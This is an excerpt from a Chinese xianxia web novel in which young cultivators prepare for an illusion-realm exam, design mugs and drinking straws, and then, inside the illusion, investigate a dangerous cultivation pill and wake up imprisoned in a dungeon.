楚悯打趣她:“不怕这义甲也能‘示警’?” 关云铮随口应道:“正好要学反制追踪监视的术法,大不了给这义甲打上一道。” 楚悯挑眉,不再多说。 正如关云铮之前所说,人是“具体”的,就像山谷中的树,会有枝叶繁茂的一面,自然也会有背对阳光而生,青苔遍布的一面,这两面彼此相连,才构成完整的一棵树。 殷含绮有对她们充满善意的一面,自然也会有在送出去的物件上动点小心思的一面,那小心思既然不害人,也没必要把她善意的那面也打成虚假,觉得她罪无可恕。 或许这只是她表达关心的一种特殊方式,只是不便摆在明面上,说与她们听。 但既然关云铮已经知道了丝线可以示警,仍愿意收下这副义甲,那就是对殷含绮的心思心知肚明仍愿意包容,那么她接下来会对这副义甲做出什么举动,都不在殷含绮的考虑范围之内了——那不重要了,她已经清楚了关云铮对自己的态度。 鉴于这副义甲是要送给楚悯的,殷含绮自然也知道,关云铮可能在自己的事上不上心,但对师门及同伴会更在意,打上什么阻绝的符咒也不是不可能。 总之楚悯拿着义甲这么一分析,才发觉关云铮有心或是无心之下,都成了个与殷含绮彼此心知肚明的小人精。 人精好,人精不会吃亏,不会再受伤。 “除了殷姐姐之外,我还同那木匠见了一面。”怕她想不起来,关云铮又补充道,“就是那个坑了师父,做了如今饭堂那张餐桌之人。” “见他?做什么?”楚悯疑惑。 “我发现他也会烧瓷,托他给我烧一套杯子出来,以后我们喝奶茶用。” 楚悯一愣:“你给了他图纸?” 关云铮朝她自信满满地拍了拍胸口,又摸出一张图纸:“呐。” 楚悯接过来一看:“噗。” “是不太像杯子,但我已经尽力了。”关云铮沉痛道,“好在那匠人很是能意会,我打算以后有点什么巧思都去叨扰他。” 楚悯把那图纸又看了一遍:“不过倒是能看出你所求的重点之处,譬如杯口要收窄,这……手持之处?倒是颇富设计,是你那时的杯子样式?” “我的本意是刚煮好的奶茶烫手,做个手柄以免被烫着。不过画完后我转念一想,仙门之中要是嫌烫手,给奶茶来个术法不就得了。”关云铮笑嘻嘻地说,“这设计也没什么特别的,这一类杯子在我那时有个统称,叫马克杯,指的就是这样有手柄的样式。” 楚悯似懂非懂地点点头:“为何叫马克杯?” 关云铮倒是没去深究过这说法的由来,于是尝试着在记忆里搜罗了一番。本以为找不到相关的记忆,谁料片刻之后还真从犄角旮旯里扒出一点……浏览器页面?原来她以前也搜索过? “你可以理解成阿拉伯数字那样的由来,是别处的说法传过来的。”她思索着解释道。 毕竟浏览器页面说马克杯是“mug”来的,英国人和阿拉伯人……反正都是外国人。 楚悯明白了,并点了点头,接受了奇奇怪怪的新知识。 “有巧思都去叨扰?那匠人脾气原来这么好?”两人一起走出几步远,她又想起方才关云铮所说,追问道。 之前听章先生说还以为是个黑心商贩…… 关云铮满不在乎地随口道:“哦,我同他说以后我要的物件一律记在师父账上,他果然和颜悦色多了。” 楚悯:“噗。” **** 与在江县逗留的半月多相比,几位先生特意为他们延后的这十来天根本就不够用,几乎是眨眼的工夫便飞逝而过了。 四人之中唯一进展明显的便是关云铮——她在跟随任嵩华调息、同步服用凌风起所给丹药两件事的加持下,伤势差不多全好了,境界也逐渐稳定了下来。 且她对自己当下的状态十分满意,因而也不曾在幻境考察开始前表现出焦虑的模样,修炼时的强度克制得正好,还能多出许多闲暇到处流窜,被放养在后山的灵犀这些日子都受了她诸多投喂。 至于谭一筠和叶泯二人,他们十日之中则有六日都在为这一次的考核感到焦灼难安,对比之下,每日学得快要废寝忘食的楚悯居然还算是症状更轻微的。 这就是考前综合症吗……关云铮整理好自己练习的一沓符咒,怜悯地看了眼面有菜色的谭一筠和叶泯。 楚悯的琴谱已经被她翻得越来越破烂,前两日被看不下去的苏逢雨施了个术法修补了一番,如今才算是勉强能入眼。 苏逢雨的教学方式和归墟的几位先生有异曲同工之感,多是建立在基础的几个“知识点”上,触类旁通,举一反三,延伸出更复杂的知识。 譬如步雁山的御物术,蒲飞鸢的剑招,苏逢雨的琴曲也恰如此类,都建立在日复一日对基础琴曲的练习之上。 其实仔细想来,天下流派无不与此类似,天问这样讲究天赋的道,本质也建立在基础的卜算之法上,被人人称道的所谓天赋,只是跋山涉水而来之后,那一块足以叩开洞府门扉的敲门砖。 如今山水已涉,敲门砖在手,该尽的力已经尽了,天分固然,不可更改,关云铮觉得没有焦虑的必要。 不过焦虑这种事本来也不受自己掌控,她虽能这样宽慰自己,却没法用同样的说辞让那两个愁得快掉眉毛的同伴也把这话听进去,只好煮了锅奶茶,用那匠人烧好送来的“马克杯”装上端过去,然后自己端着点心在一边画新的图纸。 叶泯临时抱佛脚的攻势十分猛烈,佛像的漆怕是都给他蹭掉一块,此刻已学得头昏眼花,见一旁的关云铮没在干正事,立时凑了过来,眼巴巴道:“云铮这是在画什么?” 关云铮随手递给他一块点心:“在画吸管。” 叶泯感觉自己头顶的那团雾水炸开了,把他整个人都笼罩了进去,他十分茫然地重复道:“吸管?” 又到了云铮奇言妙语的时间了吗? 关云铮正发愁古代没有塑料,该用什么样的材料制作吸管,又觉得此前唯一能想到的麦秆,应当也没有粗到能把珍珠吸上来的程度,一时之间进退两难。 她的目光依旧对着空空如也的图纸,话却是向叶泯说的:“就这么喝奶茶的话,偶尔无法把握一口喝多少。” 那倒是,有时杯里的奶茶太多,杯子抬得过高,容易洒自己一身;有时杯里的奶茶太少,杯子又抬得过低,半天都喝不到一滴。 叶泯点点头:“吸管也要交给那匠人去做?” 关云铮摇了摇头:“没到那时候,我还没想出什么材料合适。” 草本植物的茎最易获取,也最容易处理,天然的中空结构不需太多额外的打磨,但质地太软,泡在热奶茶里可能不消片刻就塌了。 其他略微坚固的材质,譬如前几日殷含绮送出的那副义甲所用的骨质,倒是符合坚硬度这方面的要求,但处理起来太过麻烦,而且容易有兽类身上的异味,不太适合当做吸管使用——毕竟吸管这东西本来就容易臭。 至于金属……延展性好,表面又光滑,确实是做吸管的好材料,但同时,金属的导热性又很强,虽说仙门随时能将热奶茶变凉,但万一就想喝口热的,岂不是会被金属吸管烫得嘴开花? 还有细竹子,且不说有没有粗细正好且已经长出贯通竹节的竹子,单就这个处理难度,就没比骨质好到哪儿去,而且竹质依旧存在草本材料的问题,长期泡在水里容易变形,甚至因为竹质比草本更吸水且不易干,可能还有长期潮湿导致霉变的风险——这一点可以参考竹筷子的下场。 关云铮就为了这么几根在现代唾手可得的吸管绞尽脑汁,这些日子闲下来便在琢磨,此刻只好在图纸上把几种材质都写了下来,又把草本和骨质划去。 她正要将图纸随手塞回乾坤袋中,忽然意识到还有一种材质先前未被她纳入考量。 玻璃。 可没过多久,这一新念头又被她自行否决了。 她在冶炼这方面的知识储备不多,只知道古代有琉璃,但纯净的玻璃最早起源于何处何时,她一概不知。 纯净的玻璃成分应当是二氧化硅,但古代抵达纯净这一程度的可能性很低,所以一定还有其他的杂质。 要将二氧化硅烧制成玻璃,至少需要一千度以上的高温,古代应该也没有这样的高温环境,所以定然还需要一些助熔剂。 助熔剂…… 关云铮叹了口气;“不行,有毒。” 叶泯正打算再拿一块点心,骤然听见此言,吓了一大跳,差点把手里的点心甩飞出去:“什么有毒?” 关云铮回过神来,对着他摆摆手:“我说吸管,没说点心,吃你的。” 叶泯惊魂未定地咬了一口点心——跟方才那块一个味道,应当确实没毒。 不对,他脑子真是学出问题了,怎么可能有毒?! 关云铮再度叹了口气,把唯二没被划去的材质又圈画出来:“那就只能先试试金属和细竹枝了,我去山下找一趟匠人,若是回来晚了,你们先去吃晚饭,不必等我。” **** 当日关云铮又是如何叨扰那匠人的,其余三人无从得知,也无心应对——因为第二日一早,延后了十来日的幻境考察便开始了。 章存舒这次是一路从饭堂“护送”他们到幻境入口的,只是一心二用,一面走一面与关云铮拌嘴。 “你这些日子老往林晗那跑什么?账单都往我房中油灯飞了十几封了。”章存舒纳闷。 “你就说你想不想喝奶茶的时候更顺心吧。”关云铮强买强卖似的问道。 章存舒:“……”还真是无从反驳。 关云铮这段时间长了一点个子,习武则让她体态变化了不少,伤势痊愈之后,她的精神看起来也好多了。今日还起了个大早,特意给自己的马尾编成了麻花辫。她说完这话便大步往幻境入口走了,麻花辫在脑后一晃一晃,看着心情大好的模样。 章存舒笑着叹了口气,罢了,拢共也没几个钱,随她折腾吧。 楚悯走在关云铮身后,脑后的头发也是麻花辫,只是比关云铮的低多了,安稳地落在肩头,一看就是连映的手笔,发尾还绑了一朵干花。 不知方才两人凑在一起嘀咕了些什么,楚悯这几日以来身上的焦灼一扫而空,脸上甚至能见着笑影了。 甚至连一直蔫头耷脑的谭一筠和叶泯都精神多了,章存舒挨个看过去,简直要怀疑云崽是不是在考核开始前偷偷给自己和同伴们吃了什么……来自他师兄炼制的“十全大补丹”。 谭一筠正用收拢的子不语一下一下地敲打着手心,感受到章存舒的注视,从幻境入口前侧过脸来:“章先生?” 他竟从这小子脸上看到了几分同他师父那厮一般无二的揶揄! 真是奇了! 唯有叶泯看着还有几分尊师重道的样子,只是问出口的话不十分的老实,直奔着试探而来:“章先生,下次幻境的考题是什么?” 章存舒一时无言:“你还没进这次的幻境。” 叶泯点点头:“但这次幻境的考题我们已经知道了。” 也对。 小辈太过游刃有余,显得他这个长辈越发不靠谱了。 章存舒没打算回答这个问题,正要用一贯的措辞遮掩过去,就见站在四人最前方的自家徒弟忽然转过脸来,对他扮了个鬼脸:“师父不说,是压根没想好吧?” 步雁山朝这边走来时正见着这番情景,从未见过云崽如此鲜活的模样,在原地愣了一下才要开口。 只见刚对着师父没大没小完的人又若有所觉地转向了他这边。 步雁山顿觉不妙,立刻开口打断关云铮那声将要出口的“小师叔”:“幻境入口马上就开了,做好准备。” 关云铮笑着一挑眉,顺着他的话闭上嘴,没在众人面前揭穿这位至今没适应称呼的小师叔。 幻境入口再度缓缓流动起来,关云铮踏入前再次看向章存舒,对着他点了点头。 事情交给我你就操心吧! 不是,她的意思是她会注意安全的。 她迈入那波光粼粼的幻境入口,甫一跨过那道不甚明晰的界线,就感到眼前骤然一黑。 搞什么,又来?! **** “噼啪。” 木柴燃烧时发出的开裂声传入她的耳朵,在万籁俱寂之中显得尤为响亮,楚悯的身体先于意识苏醒,眼睛还没完全睁开,右手已经无意识地抓握起来。 抓了个空。 但她总觉得自己手边该有点什么,故而这空空如也的一抓反而让她彻底醒了神。 除却总是值守到最后的听觉,人的其他知觉似乎总是与视觉共进退,她这么一睁眼,才感觉到自己全身都在痛,后背的痛觉尤为强烈。 楚悯挣扎着坐起,发现自己原来正靠在一捆木柴上休憩,那木柴不知是什么树木的枝条,上一个瘤子下一截尖刺,能怎么扭曲就怎么长,没有哪怕一掌的长度是光滑平直的。 她记忆里自己还不曾睡过这么差的床榻,颇觉莫名的同时还能分出几分心神安抚自己:这样看来,只是背痛已经算是十分幸运的了,毕竟她衣裳还是完好的呢。 四下很暗,唯一的光源是她脚边那堆弱不禁风的篝火,看来方才唤醒她的“噼啪”声就是它发出来的。 楚悯随手拂了拂后背以作安抚,从那捆面目可憎的木柴里抽出一条短些的,用手感受了一番干湿,确认丢入火中勉强能够助燃后,把它丢进了篝火堆。 火焰晃了晃,挣扎着窜上来一小截,楚悯这才撑着膝盖站起身,借着逐渐亮起来的火焰观察起周遭。 柴房?还是破庙? 她心念电转,忽然想起什么似的,伸手进胸口一摸,取出个拇指大小的夜明珠来。 谁给的来着? 楚悯皱了皱眉,捏着夜明珠往火焰也照不亮的地方走,终于确定了角落之处那团黑黢黢的东西是什么——那是个和她穿着同样衣服的少年。 她全无防备,因此夜明珠微弱的光亮照清那少年脸庞时被吓了一跳,猛地抽了一口带着尘土味的冷气,差点因此呛咳起来。 那少年不知是睡着还是昏过去了,没被她的动静吵醒,只是颇受困扰似的皱了皱眉。 为何他们穿着一样的衣服? 这布料触之与粗糙没有半分关系,手感上佳的同时似乎还颇为透气,屋内生着火,她睡了这么一会儿脸和指尖却都还是冰凉的,足以见得天气并不暖和,但她周身却不觉得寒冷,难道是这衣服有什么特别之处? 看这制式,似乎……是哪处仙门中的校服? 难道这少年与她是同门? 可她为何从未见过这张脸? 屋内尘土太多,楚悯皱着眉打了个喷嚏,两次动静终于成功唤醒了那墙角的少年。 少年与她不大相同,最先醒来的是嗅觉,还没睁眼就被尘土激得打了个惊天动地的喷嚏。 楚悯默不作声地往身侧走了一步,又防备着少年睁眼时被自己吓一跳,默默从胸口的乾坤袋中又摸出一颗夜明珠来,照亮两人所在,率先开口问道:“你是何人?” **** 大街上熙熙攘攘,小城赶上了近日来的大日子,路边的几处小餐馆都摆出了桌子招揽客人,街道拐角处的桌边坐着个打着麻花辫的姑娘,手边放了个粗瓷的茶碗,腰间还别了一把样式古朴的剑。 若放在往日,她这装扮着实算得上引人注目,毕竟小姑娘遍地都是,随身带着剑的可不多。 但近日城中修士遍地走,剑修作为当世修道热门首选,更是让城中居民看得目不暇接,久而久之也便没什么新鲜的了。故而那姑娘独自在桌边坐了好一会儿也没人打扰,也不知她孤零零地坐在这闹市之中,茶碗都空了,既不走也不喊人续茶,是在想些什么。 茶摊的摊主收了她好大一锭碎银,虽也对她感到一头雾水,但也不好上前询问,生怕这大主顾以为自己是要赶人,只能在一边一面抹着灶台,一面往那桌边看。 还没等她看出点名堂,不速之客来了。 摊主并不是当地人,还是头回见识最近这样的大日子,故而也就不知道,当世的修士不光有喝茶姑娘那样光风霁月,看着就让人心生欢喜的,还有不速之客这般……一看就心怀叵测,不安好心的。 摊主攥着抹布观望,发觉那姑娘连眼皮也没抬,仿佛听不见似的,对那人生硬的搭话置若罔闻。 “我看姑娘孤身一人,也是来翠屏山参加大比的吗?” 被他搭话的姑娘没说话,太阳晒得她睁不开眼,她连头也懒得抬。 那搭话之人背着光,本就黝黑的脸色因为冷待更显黑了几分,大概是入仙门以来一直被人捧着,还没吃过这样的瘪。 摊主随手把一只在灶台附近打转的苍蝇用抹布掸了,在心里嗤笑一声:打搅人家清净还一副自尊受挫的模样,仿佛自尊很值钱似的,人家姑娘自己就是剑修,指不定水平高过你多少,叽叽歪歪的惹人嫌。 “不知姑娘师出何门?不对,若是有师承想必不会孤身在此,想必只是一介散修。既是散修,少不得大比时还需与人合作,又何必拒绝在下的一番好意?” 摊主忍不住“啧”了一声,简直想挥着抹布出去赶人,反正他这么大块头,就说他没给钱还挡着她生意了。 只是还没等她出手,那一直不吭声的姑娘就开口了:“滚。” 摊主顿时一颗心提到了喉口,虽然这姑娘看上去是仙门子弟,既会仙法又有武艺傍身,但此番发言势必要激怒那混球,势单力薄可落不着好。 她当即把抹布一扔,就要从灶台绕过来给人撑腰,却见那混球骤然发难,猛地朝姑娘那边探身过来。 几乎是他探过来的同一时刻,那姑娘毫无预兆地动了,她一脚蹬在桌腿上,将自己半身蹬离桌边,同时身子朝前,右手抄起一直放在手边的空茶碗,砸在了混球的脑袋上。 粗瓷做的碗当场碎了,摊主却顾不上心疼,只见那姑娘抓着手中残余的茶碗碎片,比那混球方才逼近的动作还快,以碎片做刃,笔直朝那人的眼睛扎去——又在离他眼睛不到半寸的位置停住了。 “我说滚,听不懂人话?”—— 作者有话说:下章打算写个八千多字,所以应该会在周一发,辛苦大家等我几天[可怜] 第122章 茶摊摊主被那姑娘的一连串举动吓得飞了半条魂, 一时间也顾不上灶台上还煮着的茶了,丢下抹布扑过来:“姑娘,手没事吧?” 那打着麻花辫的姑娘——关云铮随手把手里的碎瓷片扔了, 本想捏个基础的治愈术把指尖的伤口抹了, 忽然又想起什么,停下了动作, 一改方才狠厉的模样, 笑着对摊主说:“我没事,多谢您。” 摊主忙摆手,见那搭话的混球额角血都流下来了,有些害怕地压低声音说道:“姑娘,近些日子城里有仙家人巡视,怕是一会儿就要来了, 你一个人恐怕到时说不清楚,婶子给你作证。” 关云铮没多解释, 笑着接受了她的好意:“好。” 她动手时闹出的动静有点大,过不了多久一小队巡视的仙门弟子就匆匆赶来, 为首之人见到两极分化极为严重的现场, 又察觉在场两人都是修士,不由得一愣:“大比期间修士不得私下寻衅生事,你们都是哪个门派的, 我会传信给你们各自的掌门告知此事。” 关云铮没开口, 睨了那混球一眼,又不动声色地碾了碾自己指尖的伤。 茶摊的摊主十分热心,许出去的承诺即刻兑现,一把将关云铮揽到了自己身后,对着那为首之人说道:“仙长, 是那修士同这姑娘搭话,没得到回应,要动手,这姑娘还因为他受伤了呢。” 说着,摊主把关云铮仍在流血的右手举到众人面前。 经过关云铮方才偷偷动的那点手脚,如今她的伤势看着比那人更可怖,原本只是指尖划了一道小口子,如今鲜血如注,已经淌了一手。 摊主也被吓了一跳,但依旧站稳了她的立场:“仙长您看,小姑娘家家的手伤成这样。” 巡视队伍那为首之人总觉得有哪里不对,方才看见的似乎与眼前的景象相去甚远……究竟是哪里出了差错? 那搭话之人见事态的风向完全转向关云铮,自然也不肯就此认下,捂着额角粗声道:“分明是她用茶碗砸我,那伤是她自己被碎瓷划伤了手,与我有什么相干!” 那巡视的仙门弟子闻言皱眉:“这位修士,你伤在头部,就不要太过动怒了,当心影响自身。你说她用茶碗砸你,茶碗呢?” 搭话之人立时在四周寻找了一番,竟真的没看见哪怕一片碎瓷! 一定是这散修趁他因疼痛分神的工夫,将那些碎瓷都藏匿起来了! 还有这茶摊的摊主,非亲非故凭什么给这散修说情,还不是因为她是客人,给了钱! 他登时觉得自己占了理,粗眉一横就要为自己辩解。 谁料那原本站得好好的散修,不知是有血晕之症还是如何,竟无故晃了晃,就这么在众目睽睽之下昏过去了! 巡视队伍中半数以上的人看他的目光变为了谴责。 “她是装的!就手上那点伤怎么可能就昏过去了!”他大喊大叫起来,还想说点什么却忽然发不出声音了,只能发出一些“唔唔唔”的闷响。 这是被禁言了。 巡视队伍中的几人对视一眼,为首之人正要对当下的情景做个公正发言,只听身后传来另一少年的声音:“崔师弟。” “谭师兄?”他应声回头,见了来人眉头都舒展开不少,“真是你啊,何时回来的?我还以为你要赶不上大比了。” 被他称作师兄之人拍了拍他的肩,没在这个场合多说,而是先转向那被禁言的混球,又伸手隔空点了点他虚握成拳的左手:“你看他左手,看到里头术法透出来的光了吗?” 崔栩铭这才发现自己方才有所疏漏,忙不迭点了点头。 “还有他那右手,我在人群之中看得分明,他右手始终徘徊在腰间剑鞘之上,显然是随时准备动手,那姑娘定也是被他言语上多有冒犯,才出手的。” 姓谭的人分析道。 崔栩铭若有所思:“既如此,师兄觉得该如何处置妥当?” 姓谭的将手中扇子“唰”一声合上:“那姑娘孤身一人,大概并未随师门一道来翠屏山,先接回门中诊治;至于这厮……问清师承,上报长老,让他们与其他门派扯皮去。” **** “你的意思是,我是被你连累的,我们现在被人关进了地牢里?”楚悯坐在篝火边,随手掰断一根刺木丢进火堆里,语气平淡地问道。 叶泯——墙角缩着的那位少年,如今不在墙角了,缩到了火堆旁边,按说不该觉得冷,但还是忍不住哆嗦了一下:“应该……是的。” 楚悯平静地点了点头:“何处的地牢?” 叶泯试探着:“大概是翠屏山地界的某处地牢吧?” 他本以为这样模糊的回答,会让面前的人投来冰冷的视线,谁料楚悯只是“嗯”了一声,随即放下了自己的左手,还没等他看清那左手上有些什么,便听楚悯说道:“近日仙门大比不就设在翠屏山?怎么还有人敢在这附近绑人?” 叶泯初次见到楚悯时,她便已经是昏的了,因此一直以为她对这些事情都不知情。此处光线昏暗,也没看出她是什么修士,只觉得她手中两颗夜明珠异常明亮,一定出身不俗。 没想到她竟然知道最近要办仙门大比。 好吧,既然她是修士,想必再两耳不闻窗外事也会知道翠屏山近日大比的事,还不至于自己这么大惊小怪。 叶泯叹了口气:“翠屏山门派内便分了内门和外门,此次大比又允许天下年纪合适的散修皆参与其中,自然鱼龙混杂了些,想必我们是阴沟里翻船了。” 楚悯又掰了一截刺木,拿在手里拨弄了一番火堆最下方烧得暗红的炭:“你可曾检查过身上的物品有无遗失?” 叶泯经她提醒,这才惶然地摸了摸自己胸口的乾坤袋:“应当没有。” 楚悯叹了口气,伸手在地上捞了一把,不知捞了些什么,在火光中将手伸到他面前。 “若我没猜错,你是鹧鸪山灵兽派的?这是你的灵笼?”她手中放着个已经破损了的灵笼,里头的灵兽已经不知所踪。 “灵犀?”叶泯一把接过灵笼,捧着好一番大呼小叫,“这口子应当不是外人打开的,兴许是灵犀自己钻出去了,我得找找去。” 楚悯看了眼火光之外黢黑的周遭:“你打算怎么找?” 叶泯从乾坤袋里摸出一个陶埙:“若是它离我不远,吹奏这埙它便会听见。” 楚悯对他的乐观感到诧异,但没说什么,只是把一颗夜明珠捏在手中,又将另一颗递给他,随后俯身从柴堆中翻拣一番,找出一根能做火把的木柴来,借着篝火将木柴点了,跟在叶泯身后起了身:“既如此,我随你一道。” 地牢黑得几乎伸手不见五指,楚悯方才卜了一卦,只知道此处确乎是翠屏山地界,但并不能卜算出她究竟为何会受叶泯连累被绑至此处,叶泯又是做了什么才触怒了他人。 修士大多辟谷,地牢中虽无食无水,修士却也能苟活个几日皆不成问题。那将他们关入地牢的人究竟是想做什么?难道只是为了让他们在地牢中虚耗光阴,好……拖延时间? 这帮人究竟要在仙门大比这样的紧张时刻做什么,竟还要将修士们软禁吗? **** 搭话的混球被禁了言,巡视队伍中的几人先后上前架住他,随后其中一人在脚下丢了一个什么法器,几人的身影便倏地一下消失了。 闹事的被抓,另一个受害者昏倒,围观者没了热闹可看,自然就渐次散去了。 唯有茶摊摊主被关云铮吓了一跳,还在焦灼地想对她施以救助。 那姓谭的等众人都散得差不多了才走过来,在昏倒的关云铮身前蹲下,对摊主低声道:“婶子莫担心,这位姑娘并无大碍。”他把目光投向关云铮,“你说是吧,姑娘?” 方才还昏得死死的人缓缓睁开眼,神色清明地坐了起来,先用带着些安抚意味的眼神看了摊主一眼,这才端着客气的口吻对着姓谭的说道:“多谢阁下解围,否则我真不知该如何收场。” “我看姑娘你的障眼法施展得尤为精彩,不像是不知该如何收场的模样。”姓谭的笑着说道。 关云铮抬起右手,只见方才还鲜血如注的右手又只剩下了一道细小的口子,此刻血竟已凝固多时了。她转向摊主,关切道:“吓着您了吧?” 摊主连忙摆了摆手:“你没事就好,我没那么容易被吓着,倒是这障眼法竟骗过了方才诸多修士……” “障眼法要想做得天衣无缝,对手的境界才是关键,若是比你高的境界,什么障眼法都不管用,毕竟那只是低劣之人的遮羞布;若是比你低的境界……姑娘,好在今日值守巡视的是外门弟子,修为不高,否则你就得露馅了。”姓谭的展开了他手中的扇子,半张脸掩在扇面之后,只露出一双揶揄的眼睛。 关云铮对他没有对摊主的好脸色,虽然看着依旧很有些礼貌,但眉目间总流露出些许不耐烦来:“多谢阁下为我遮掩,这点小伤就不劳烦阁下带我去救治,先告辞了。” 她起身要走,姓谭的将手中扇子往她身前一拦:“姑娘应当也是来参加仙门大比的?” 关云铮没好气,索性也不装了:“我总归还有随意行走的自由吧,难不成你要把我押回去?” 姓谭的对她笑了笑:“是我唐突了,”他忽然正色,收起了手中那把显得他颇为纨绔的折扇,“谭一筠,翠屏山内门弟子,为免此次仙门大比中混入居心不良之人,特下山前来暗中寻访调查。” 茶摊摊主看看这个,又看看那个,总觉得面前的姑娘似乎失去了这场谈话中的优势,这话好像在暗指姑娘是“居心不良之人”似的。 摊主开了几年茶摊,没少因为自己的妇人身份遇到过闹事的地痞流氓。好些男人总觉得看得上别人,开口搭话是恩赐,若是得不到满意的回应便会受挫,当下变脸动手的更是不胜枚举。她见得多了,自然见到这种情景便下意识提高警惕,故而她并不觉得这姑娘方才做的有什么不对。 再说了,这什么姓谭的内门弟子方才不也说了,那混球右手始终有拔剑的意思,足以见得若是姑娘不先动手,怕是之后要受更严重的伤。 出门在外,这点手段只是自保而已,怎么就算“居心不良”了? 摊主本就站在关云铮身前,想到这再按捺不住,越出一步就要与谭一筠理论,被始终站在她身侧的关云铮伸手拉住了:“你的意思是,那厮向我搭话,确实另有原因?” 摊主愣住了,感觉自己方才仿佛不在此处,不然怎么忽然听不懂了呢? 关云铮安抚地拍了拍她的手臂:“既如此,我便随你走一趟,谢谢您,您家的茶不错,有机会我再来。” **** “你是孤身而来?”楚悯看向一旁的叶泯。 叶泯盯着夜明珠微弱的光亮出神:“倒不是,我是同我兄长一道来的,只是……那时走散了。” 楚悯神色平淡:“令你二人走散之事,可与你身处此地有关?” 叶泯一愣,后知后觉地思索起自己被押到此处的经过,除却一些残缺不全的记忆片段,再往前……便只有他四处流窜,碰上了翠屏山长老一事了。 他把自己这些记忆如实相告,楚悯听完后过了片刻才说:“那时他们在说什么?” 叶泯怀疑自己的脑子被人动了手脚,此刻死活回忆不起那时的细节,只知道几位长老的眼神有些怪异,而他又很快失去了意识。 楚悯一脸平静地得出了自己的结论:“哦,做坏事的时候被你发现了。” 叶泯险些被自己的唾沫呛死,哽了好半晌才说:“楚姑娘此话何意?” 楚悯语气平淡:“还有什么别的可能?总不能是看你孤身在外怕你受凉,将你送到这地牢之中取暖吧?” 楚悯轻笑了一声,将从那刺木上掰下来的枝条递给他:“这鬼地方能暖吗?” 叶泯失语,片刻后又问:“那依楚姑娘的看法,他们究竟在谋划些什么?” 谁料楚悯诧异地看了他一眼:“我没看法。” 差点把叶泯哽得呕血后,她又语气平静地说道:“此地绝不仅仅是个寻常的地牢,一定还布设了锁灵阵这样的阵法,否则也无法解释为何我的卦阵总是起卦失败,卜不出卦象。听闻翠屏山阵修遍地,看来果真名不虚传。” “锁灵阵?”叶泯愣住了,“就算我真在无意间成了他们做腌臜事的见证,他们狗急跳墙要灭口,也用不上锁灵阵吧?都把我敲晕了,直接把我杀了不就得了?” 他倒是心态好,只是楚悯的情绪依旧很寡淡,看不出是喜是悲。 “还用得上你,但又不得不防备你,所以先将你锁着。”楚悯状似随口说道。 叶泯简直出离愤怒了:“这话听起来我像一头待宰的猪。” 楚悯沉默了片刻:“还真是挺像的。” 叶泯:“……” 他沉默着忽然意识到不对,疑惑道:“我撞破他们作恶被抓也就罢了,为何你也被抓进来了?当时我记得……你只是个路过的?” 楚悯面无表情地看了他一眼,思忖了一息自己为什么要把夜明珠递给这个不需要光的人:“你难道没发现我们的校服是一样的吗?我自然是他们眼中,你的同伙。” **** “近来翠屏山下城中出现了一类丹药,专向修道之人提供,号称功效一日千里,能在短期内拔高一大截修为,甚至没有反噬。”谭一筠边走边说道 。 关云铮平静地眨了眨眼:哇哦,好厉害,经典诈骗手段。 “你们在追查丹药的来源?”她随口问道。 “我顺着几处兜售的点位查找了一番,发觉方才与你搭话之人近期买了许多丹药自行服用,便……跟踪了他一番,也就遇到了你。”谭一筠坦诚道。 果然。 “所以方才若是我不出手,你也早晚会出手是吧?”关云铮倍感无语,有种自己折腾一通,到头来原来是在为他人做嫁衣的感觉,更别说这个他人她还暂时不想牵扯上。 她压根不想参与那仙门大比,目前连自己为何在此都没搞明白,还打算观察一番再做决定,现在好了,被拉上贼船了。 谭一筠像是对他人眼中的幽怨有抗性似的,视若无睹道:“姑娘此言差矣,若是没有姑娘当机立断的果决行为,那人也早就逃了,我便无从追拿幕后之人了。” 他一转话锋:“不过我有一事十分好奇,不知姑娘可能为我解惑?” 不知方才搭讪时一直想拔剑的那人是什么心境,总之此刻的她是真的有点想拔剑了,还没见过这么话痨的人:“放。” 谭一筠丝毫没有因她话里之意生气,坦然说道:“你是如何知道那人不对劲的?” “日头这样烈,他靠近我时那瞳孔却不曾在光下收缩,甚至我将瓷片逼近他眼睛时也不见缩小;风很凉爽,他却在凉风中大汗不止,双颊涨红;你说他右手始终在剑柄上逡巡不去,似欲拔剑却未拔剑,是因为他浑身肌肉发僵,动作迟缓。”关云铮也没想过自己能见到这么符合课本知识的临床指征,不由轻声感叹了一句,“太标准了,绝对是嗑了。” “嗑了?”谭一筠不解,“你的意思是服用了丹药?” 关云铮随意地点点头:“差不多吧,我看比寻常丹药更毒些。” 至于“宣传语”里说的“没有反噬”……如果兴||奋||剂、毒||品之流的副作用也不算反噬的话,那就没有吧,听他们瞎扯好了。 “既如此,我得加快调查的进程了,此事决计不可再耽搁,劳烦姑娘随我走一趟,去我门中探讨。”谭一筠正色道。 她方才虽口头说着随他走这一趟,但谭一筠知道那只是安抚摊主的说辞,眼前这位其实并没有帮忙解决问题的意思,故而他还需再请求一番。 果不其然,听了这话的关云铮皱眉道:“我不去,谁知道这事究竟是谁做的?你门派中尚且有修为不足的外门弟子,与你这样修为尚可的内门弟子,能力的界限决定了可获取权力的多寡,一颗丹药带来的绝不仅是修为上的进益,此事发生在你门派地界,想必你门中也未必干净。” 寻常人听了如此直白的“诋毁”怕是立时要翻脸,但谭一筠竟没生气,反而从她的话中感受到了一丝诡异的熟稔。 他没去深究,只把这感觉归因于自己那同样说话百无禁忌的师父,好脾气地同关云铮说道:“正是因为我派中存在问题,才需姑娘你这样的旁观者参与其中,不然岂不是当局者迷?” 关云铮怀疑自己平时话太多,所以有人派话更多也更啰嗦的人来治她了,失语片刻后屈服了:“行,我随你去。” **** “楚姑娘方才说起卦失败,卜不出卦象,看来你是天问中人?”叶泯问道。 两人还没从昏睡的浑身发软中彻底摆脱出来,故而暂时没有起身往外探究,更不用说根据他们的猜测,此处地牢还很有可能无法逃脱,是以都放弃了抵抗,坐在火堆边有一搭没一搭地说着话。 楚悯“嗯”了声:“但你是灵兽派。” 叶泯明白她的意思:“所以我们为何会穿着一样的校服?” 楚悯摇了摇头:“不知,也算不出来。” 一筹莫展,叶泯忍不住叹了口气。 原本要是灵笼不曾破损,他还能对着灵犀絮叨一番,但此刻坐在他身侧的是楚悯,虽然他们出于某些他暂且没弄明白的缘由,穿着同样的校服,但他与楚悯几乎算得上是萍水相逢,这时候对着人絮叨就不大体面了。 不知是不是叶泯方才那声叹息拂动了火苗,篝火在漆黑的地牢中晃了晃,楚悯沉凝的面色突兀地一变,意识到了方才一直被自己遗漏的一件事。 “既然用上了锁灵阵,又关进了地牢,为何不把我们的乾坤袋也收缴?” 叶泯正兀自出神,听见这话愣了片刻才说:“他们对自己布下的锁灵阵极具信心,不认为我们能借助乾坤袋中之物将它破开?” 